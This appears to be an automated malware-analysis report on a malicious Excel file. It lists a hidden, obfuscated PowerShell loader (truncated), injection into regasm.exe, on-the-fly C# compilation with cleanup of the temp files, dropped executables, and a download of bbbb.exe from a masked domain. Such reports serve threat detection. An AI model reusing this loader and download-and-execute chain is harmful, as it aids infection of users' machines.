Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function d461a44 {param($d2d87)$k483fe='oea5c';$jfed13='';for ($i=0; $i -lt $d2d87.length;$i+=2){$ad4af=[convert]::ToByte($d2d87.Substring($i,2),16);$jfed13+=[char]($ad4af...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Modifies file system
Creates the following files
- %TEMP%\z-fajudt.0.cs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{50cd4497-4e1e-49b9-a8b9-95eb47c591f6}.tmp
- %TEMP%\z-fajudt.dll
- %TEMP%\l89ofrut.dll
- %TEMP%\ln_5ncfp.dll
- %TEMP%\res56e8.tmp
- %TEMP%\j2shnjju.dll
- %TEMP%\res5542.tmp
- %TEMP%\res54d5.tmp
- %TEMP%\iij_1wap.dll
- %TEMP%\res5487.tmp
- %TEMP%\csc55ae.tmp
- %TEMP%\res55af.tmp
- %TEMP%\csc558f.tmp
- %TEMP%\csc5531.tmp
- %APPDATA%\fd4cbb.exe
- %TEMP%\csc54c4.tmp
- %TEMP%\ln_5ncfp.out
- %TEMP%\z-fajudt.out
- %TEMP%\j2shnjju.out
- %TEMP%\l89ofrut.out
- %TEMP%\j2shnjju.cmdline
- %TEMP%\j2shnjju.0.cs
- %TEMP%\l89ofrut.cmdline
- %TEMP%\l89ofrut.0.cs
- %TEMP%\ln_5ncfp.cmdline
- %TEMP%\iij_1wap.out
- %TEMP%\ln_5ncfp.0.cs
- %TEMP%\iij_1wap.cmdline
- %TEMP%\iij_1wap.0.cs
- %TEMP%\z-fajudt.cmdline
- %TEMP%\csc5486.tmp
- %APPDATA%\task.exe
Deletes the following files
- %TEMP%\res5487.tmp
- %TEMP%\iij_1wap.out
- %TEMP%\l89ofrut.0.cs
- %TEMP%\l89ofrut.dll
- %TEMP%\l89ofrut.pdb
- %TEMP%\l89ofrut.cmdline
- %TEMP%\l89ofrut.out
- %TEMP%\j2shnjju.dll
- %TEMP%\ln_5ncfp.out
- %TEMP%\j2shnjju.out
- %TEMP%\j2shnjju.cmdline
- %TEMP%\j2shnjju.0.cs
- %TEMP%\ln_5ncfp.cmdline
- %TEMP%\ln_5ncfp.pdb
- %TEMP%\ln_5ncfp.dll
- %TEMP%\iij_1wap.dll
- %TEMP%\j2shnjju.pdb
- %TEMP%\iij_1wap.pdb
- %TEMP%\csc54c4.tmp
- %TEMP%\csc5486.tmp
- %TEMP%\res55af.tmp
- %TEMP%\csc558f.tmp
- %TEMP%\res56e8.tmp
- %TEMP%\csc55ae.tmp
- %TEMP%\res54d5.tmp
- %TEMP%\res5542.tmp
- %TEMP%\iij_1wap.0.cs
- %TEMP%\csc5531.tmp
- %TEMP%\z-fajudt.0.cs
- %TEMP%\z-fajudt.cmdline
- %TEMP%\z-fajudt.dll
- %TEMP%\z-fajudt.pdb
- %TEMP%\z-fajudt.out
- %TEMP%\iij_1wap.cmdline
- %TEMP%\ln_5ncfp.0.cs
Network activity
TCP
HTTP GET requests
- http://www.re##v.xyz/wp-admin/bbbb.exe
UDP
- DNS ASK re##v.xyz
Miscellaneous
Creates and executes the following
- '%APPDATA%\fd4cbb.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function d461a44 {param($d2d87)$k483fe='oea5c';$jfed13='';for ($i=0; $i -lt $d2d87.length;$i+=2){$ad4af=[convert]::ToByte($d2d87.Substring($i,2),16);$jfed13+=[char]($ad4af...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\z-fajudt.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l89ofrut.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j2shnjju.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ln_5ncfp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\iij_1wap.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5487.tmp" "%TEMP%\CSC5486.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES54D5.tmp" "%TEMP%\CSC54C4.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5542.tmp" "%TEMP%\CSC5531.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES55AF.tmp" "%TEMP%\CSC558F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES56E8.tmp" "%TEMP%\CSC55AE.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\z-fajudt.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l89ofrut.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j2shnjju.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ln_5ncfp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\iij_1wap.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5487.tmp" "%TEMP%\CSC5486.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES54D5.tmp" "%TEMP%\CSC54C4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5542.tmp" "%TEMP%\CSC5531.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES55AF.tmp" "%TEMP%\CSC558F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES56E8.tmp" "%TEMP%\CSC55AE.tmp"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
